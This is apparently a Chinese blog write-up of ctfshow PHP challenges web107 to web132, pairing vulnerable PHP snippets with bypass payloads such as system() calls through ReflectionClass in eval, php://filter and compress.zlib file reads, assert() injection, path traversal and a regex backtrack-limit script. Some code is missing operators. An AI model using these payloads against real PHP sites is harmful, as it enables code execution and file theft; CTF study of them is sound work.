PHP特性 web107-

Web107

parse_str函数

将前字符串解析到后边,实现变量的覆盖

if(isset($_POST['v1'])){
    $v1 $_POST['v1'];
    $v3 $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

}

传入v3为v3[] = 1,则md5返回为null,因此可以传入任意的v1,v2[flag]也为null

 

Web108

if (ereg ("^[a-zA-Z]+$"$_GET['c'])===FALSE)  {
    die('error');
} //只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;

ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的,

 

 strrev() 函数反转字符串

intval() 函数用于获取变量的整数值

首先需要知道%00可以截断ereg()函数的搜索,正则表达式只会匹配%00之前的内容;

0x36d的十进制内容为877,我们需要字母在前来满足if条件的正则匹配来跳过if语句,接着再进行字符串的反转得到877a,接着intval()函数取整数部分得到877所以payload为
?c=a%00778

Web109

if(preg_match('/[a-zA-Z]+/'$v1) && preg_match('/[a-zA-Z]+/'$v2)){
            eval("echo new $v1($v2());");

ReflectionClass 或者 ReflectionMethod 都为常用的反射类,可以理解为一个类的映射

payload:

v1=ReflectionClass&v2=system("ls")

?v1=ReflectionClass&v2=system("tac fl36dg.txt")

 

Web110

FilesystemIterator迭代器

利用 FilesystemIterator 获取指定目录下的所有文件 

 getcwd()函数 获取当前工作目录

 echo new FilesystemIterator(getcwd()); //默认只显示第一个文件,需要遍历

可以查看存在的文件,之后在url里访问得到的falg文件名称。

 

Web111($Globals)

首选需要v1含有ctfshow才能过正则,执行getflag函数,所以v1=ctfshow,接着再getflag函数里,会把v2的地址传给v1,接着再输出v1,这里我们可以使用php里的全局变量GLOBALS

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1); }


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 $_GET['v1'];
    $v2 $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/'$v1)){
            die("error v1"); }
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/'$v2)){
            die("error v2"); }
if(preg_match('/ctfshow/'$v1)){
            getFlag($v1,$v2); }
    

 $GLOBALS — 引用全局作用域中可用的全部变量 一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
因此构造payload为v1=ctfshow&v2=GLOBALS

 

Web112&Web114

function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";

这里is_file进行判断,需要file为非文件类型才可以绕过判断,使用php伪协议,

php://filter/resource=flag.php 即可绕过查看flag.php

 

Web113

过滤了filter过滤器

多过滤了filter上一题的不能在继续使用,可以使用hint中的那个解法和上一题中的compress.zlib://flag.php

payload:

?file=compress.zlib://flag.php

 

 

Web114

在php中"36"是等于"\x0c36"的,同时trim也不会过滤掉\x0c也就是%0c,提交payload: /?num=%0c36
此时$num不等于36,且为数字,trim以后也不等于36,且'\x0c36'=='36'

 

Web123

if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/"$c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;

在php中变量命名中我们是不能传入[、空格 +的。如果有则会被转化为_

所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.)

但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换

所以后面的.就可以使用了

因此我们可以post CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag

 

Web125

和上一道题一样,多过滤了echo 和flag 我们可以利用可以新建一个文件其转折作用

CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[1])

 

?1=flag.php

 

Web126(未做)

过滤了很多字母 highlight无法使用

这里使用了

GET:?$fl0g=flag_give_me

POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

 

Web127

extract() 函数从数组中将变量导入到当前的符号表,使用数组键名作为变量名,使用数组键值作为变量值

举例就是?a=2,就会变成$a=2,这里ctf_show有个_需要构造,前面说过php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,这里空格没有被ban,所以我们就使用空格,payload为

?ctf show=ilove36d

Web129

stripos函数的利用

要求查找ctfshow,内容应该包含ctfshow 最后用readfile来读取

第一反应就是用filter伪协议读取,中间把ctfshow替换成过滤器的名称php://filter/ctfshow/resource=flag.php,

具体原理也不是很清楚,可能是php遇到没有的filter就会忽略

或者目录遍历也可以

把ctfshow当作当前目录下的一个文件,当时ctfshow能是开头,用./ctfshow替换

./ctfshow../../../../../var/html/flag.php

 

Web130

preg_match和stripos函数的绕过

if(preg_match('/.+?ctfshow/is'$f)){
        die('bye!');
    }
    if(stripos($f'ctfshow') === FALSE){
        die('bye!!');
    }

知识点:stripos函数 传入数组后会返回null null!=False

    同时数组也不会匹配上述preg实现绕过

 

Web131

正则最大回溯次数绕过

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),

给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit(100万次),突破这个限制pcre_match就不会返回非 1 和 0,而是 false

因此我们可以利用此对preg_match进行绕过

 

import requests
url=""
data={'f':'very'*250000+'36Dctfshow' } r=requests.post(url,data=data)
print(r.text)
Web132
考察运算符
 if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin")
后面存在|| 因此我们只需要让username=admin即可绕过 password随便传
 if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin")

 

 

 

 

posted @   Heck1ng  阅读(18)  评论(0编辑  收藏  举报
努力加载评论中...
点击右上角即可分享
微信分享提示